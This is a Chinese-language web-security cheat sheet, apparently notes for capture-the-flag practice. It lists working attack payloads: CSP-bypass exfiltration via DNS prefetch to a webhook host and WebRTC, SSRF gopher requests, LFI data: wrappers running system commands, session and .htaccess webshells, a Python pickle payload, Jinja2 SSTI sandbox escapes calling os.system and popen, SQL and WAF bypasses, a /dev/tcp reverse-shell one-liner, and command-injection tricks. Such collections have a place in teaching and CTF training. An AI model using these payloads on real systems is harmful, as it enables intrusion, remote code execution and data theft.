web
.git / .svn / .bzr
版本控制系統
.git洩漏可用scrabble將整個.git資料夾下載下來並用git 還原
1
| ./scrabble http://www.example.com/
|
Google Hacking
1 2 3
| site:www.example.com intext:"管理介面" filetype:sql
|
GHDB
robots.txt
.DS_Store
.index.php.swp
Backup file
XSS
XSS Payload
CSP 怎麼偷資料
假設他 Content Security Policy 在亂寫一通的話,可以用 CSP Evaluator 檢查
CSP
沒擋用什麼偷
例如 CSP
只有擋 script
,那就用 <img>
來偷
如果把連線都擋掉的話,還是可以使用 location.href
或 window.open()
透過跳轉來偷資料
1
| default-src 'none';script-src 'unsafe-inline';
|
JSONP
允許特定第三方網站引入時,可以嘗試使用 JSONP
引入惡意程式碼
JSONBee
DNS prefetch
1
| <link rel=dns-prefetch href=[YOUR_DATA].webhook.trianglesnake.com>
|
WebRTC
1 2 3 4 5 6 7 8 9
| var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
PHP 弱型別判斷

https://i.stack.imgur.com/giVhE.png
PHP弱型別的安全問題詳細總結
md5()&sha1()
1 2 3 4 5 6 7 8
| md5(array()) ==sha1(array())
md5(240610708)==0
sha1('aa3OFF9m')=>'0e36977786278517984959260394024281014729'
|
https://www.cnblogs.com/shijiahao/p/12638484.html
https://www.twblogs.net/a/5cd66c22bd9eee67a77f66f9
可偽造ip相關
X-Forward-For
Client-IP
X-Real-IP
SSRF
gopher 用法
1 2 3 4 5 6 7 8 9 10 11
| gopher:
*gopher: Host:127.0.0.1:1000 Content-type:application/x-www-form-urlencoded Content-Length:20
username=admin&password=bupt666
|
備註:發起POST的四個必要欄位
POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11
gopher POST request payload
1
| gopher://localhost:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20localhost%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%207%0d%0A%0d%0afoo=bar%0d%0A
|
https://hackmd.io/@Lhaihai/H1B8PJ9hX
LFI&RFI
php require()&include()
偽協議
1 2 3 4 5 6 7 8 9
| index.php?file=php:
index.php?file=phar:
index.php?file=data:text/plain,<?php system('ls');?> index.php?file=data:text/plain;base64,**PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==**
|
data:URL schema更多用法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| /etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
|
SESSION植入WebShell
若session可寫入,可以利用LFI執行php
1 2
| 寫入<?php system("ls");?> index.php?file=/<sess_path>/sess_<your session>
|
session_path可由phpinfo內找到session.save_path,若無則放在/tmp內
/var/lib/php/session
session檔名為sess_<session id>
freebuf-LFI
JS prototype pollution
基於 JS 原型鏈的攻擊手法:Prototype Pollution
當javascript在呼叫內建函式時,會透過prototype找上一層要呼叫的函式(因為內建函式並沒有真正在乎叫的物件之中)
舉例來說:
1 2
| var lst = ['test'] console.log(lst.toString())
|
toString()
不可能每個宣告的Array Object都有toString(),當呼叫時必須透過prototype找到上一層然後呼叫Array.toString
所以其實在呼叫lst.toString()
的時候其實是呼叫了Array.prototype.toString()
而哪些object
的prototype是甚麼則定義在object的__proto__裡面
1
| lst.__proto__.toString == Array.prototype.toString
|
因此,在一些情況下,有些功能可能造成prototype可以被竄改,進而導致prototype pollution
parse query
在對於Array進行賦值的時候,攻擊者可以透過構造key為__proto__
達到prototype pollution
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function parseQuery(queryString) { const params = {}; queryString.split('&').forEach(param => { const [key, value] = param.split('='); params[key] = value; }); return params; }
const userInput = 'user=admin&isAdmin=true';
const parsedQuery = parseQuery(userInput); console.log(parsedQuery);
parseQuery('user=admin&isAdmin=true&__proto__.isAdmin=true');
console.log({}.isAdmin);
|
合併物件
合併物件同樣有可能發生
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function merge(a, b) { for(let prop in b) { if (typeof a[prop] === 'object') { merge(a[prop], b[prop]) } else { a[prop] = b[prop] } } }
var config = { a: 1, b: { c: 2 } }
var customConfig = JSON.parse('{"__proto__": {"isAdmin": 1}}') merge(config, customConfig)
var obj = {} console.log(obj.isAdmin)
|
不難看出,其實只要有對Object的key和value進行操作,就很有可能導致prototype pollution
.htaccess
可影響apache伺服器中資料夾內的檔案
利用指定404、403等錯誤響應文件達成LFI
1 2
| ErrorDocument 404 /flag.txt ErrorDocument 404 /shell.php
|
強制解析非php檔案造成RCE
1
| AddType application/x-httpd-php .txt
|
將.htaccess本身作為php執行後門
1 2
| php_value auto_prepend_file .htaccess
|
#為.htaccess的註解符號
若有WAF則可用\換行繞過
1 2 3
| p\ hp_value auto_prepend_file .htaccess
|
遇到\時,會接續下一行
https://blog.csdn.net/solitudi/article/details/116666720
Serialize&Deserialize
呼叫反序列化時,可能呼叫一些Magic Method
序列化
Value |
Serialize(PHP) |
8459302 |
i:8459302; |
TRUE |
b:1; |
NULL |
N; |
[’x’,1] |
a:2:{i:0;s:1:”x”;i:1;i:1;} |
PHP Object的序列化
1 2 3 4 5 6 7
| new Cat("kitten") =>O:3:"Cat":1:{s:4:"name";s:6:"kitten";}
class Cat{ public $a; =>{s:1:"a";.....} private $b; =>{s:6:"\x00Cat\x00b";.....} protected $c; =>{s:4:"\x00*\x00c";.....} }
|
反序列化
1 2 3 4 5 6 7
| PHP Magic Method 在指定時機自動呼叫magic method __destruct() __wakeup() __call() __toString()
|
1 2 3 4 5 6 7 8
| **Python Pickle** pickle.dumps()會將資料序列化 可寫payloads import subprocess class payload(object): def __reduce__(self): return (subprocess.check_output,(['cat','/flag_5fb2acebf1d0c558'],)) 再想辦法把payload()塞進dumps裡面
|
Phar與反序列化
SSTI(Server Side Template Injection)

python Flask預設模板為Jinja2
1 2 3 4 5 6 7 8 9 10 11
| render_template_string(template)
template={{7*7}} =>49
{%for item in item_list %} {{ item }}{% if not loop.last %},{% endif %} {%-endfor-%} ''' 可以import os os.system()嗎? 不行,code是放在sandbox中跑的 但可以用config.from_pyfile(filename)執行任意python檔案 '''
|
使用_mro_(Method Resolution Order) bypass Python的Sandbox
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| [].__class__ =><class 'list'>
[].__class__.__mro__ =>(<class 'list'>,<class 'object>) #_mro_可查詢解析物件順序,此時可以發現所有物件的底層皆為object
[].__class__.__base__ =><class 'object'> #_base_可返回最底層的method,所以返回object
[].__class_.__base_.__subclasses__() #_subclasses_直接返回所有subclasses,猛了object在最底層,所以所有物件都會return
[].__class__.__base__.__subclasses__()[132] =><class 'os._wrap_close'> #os出現了
[].__class__.__base__.__subclasses__()[132].__init__.__globals__ =>返回所有可被global調用的method
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('ls')}} #os.system被A出來了
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}} #回傳結果
|
SSTI Payload
更多奇技淫巧:https://tw511.com/a/01/48066.html
SQL injection
https://www.796t.com/content/1545706659.html
https://zu1k.com/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| MySQL #comment -- comment [Note the space after the double dash] /*comment*/ /*! MYSQL Special SQL */
PostgreSQL --comment /*comment*/
MSQL --comment /*comment*/
Oracle --comment
SQLite --comment /*comment*/
HQL HQL does not support Comments
|
常見waf
1
| escape()->被轉成%XX,@* _ + - . /不編碼
|
waf繞過
1 2 3
| '弄不出來的時候可以嘗試兩個urlencode合在一起 %bf%27、%df%27、%aa%27
|
Reversed Shell
1 2 3
| 最經典 nc -klvp [port] /bin/sh -i >& /dev/tcp/[host]/[port] 0<&1
|
問就是 revshells.com
Commandline Injection
截斷指令
最基本的截斷可用;
達成,也可使用
cmd1&&cmd2
當cmd1
執行成功時執行cmd2
cmd1&cmd2
簡單拼接,無論cmd1
執行成功與否都會執行cmd2
cmd1||cmd2
當cmd1
執行失敗時執行`cmd2
cmd1|cmd2
將cmd1
的執行結果以pipeline塞給cmd2
- 可以將指令包在
\
`或是
$()` 之中
空格繞過
- 使用
<>
繞過
{cat,flag}
- 使用特殊變量
$IFS
繞過(預設是空格)
cat$IFS./flag
cat$IFS\flag
過濾繞過
一些猛料
https://www.zhihu.com/tardis/zm/art/339266206?source_id=1003
https://blog.csdn.net/m0_61011147/article/details/126722464
一些會一直旺季的東東


更多筆記
https://github.com/splitline/How-to-Hack-Websites
https://github.com/splitline/My-CTF-Challenges/
[資安新手入門手冊] Web Security 領航之路
简介 - CTF Wiki
https://github.com/w181496/Web-CTF-Cheatsheet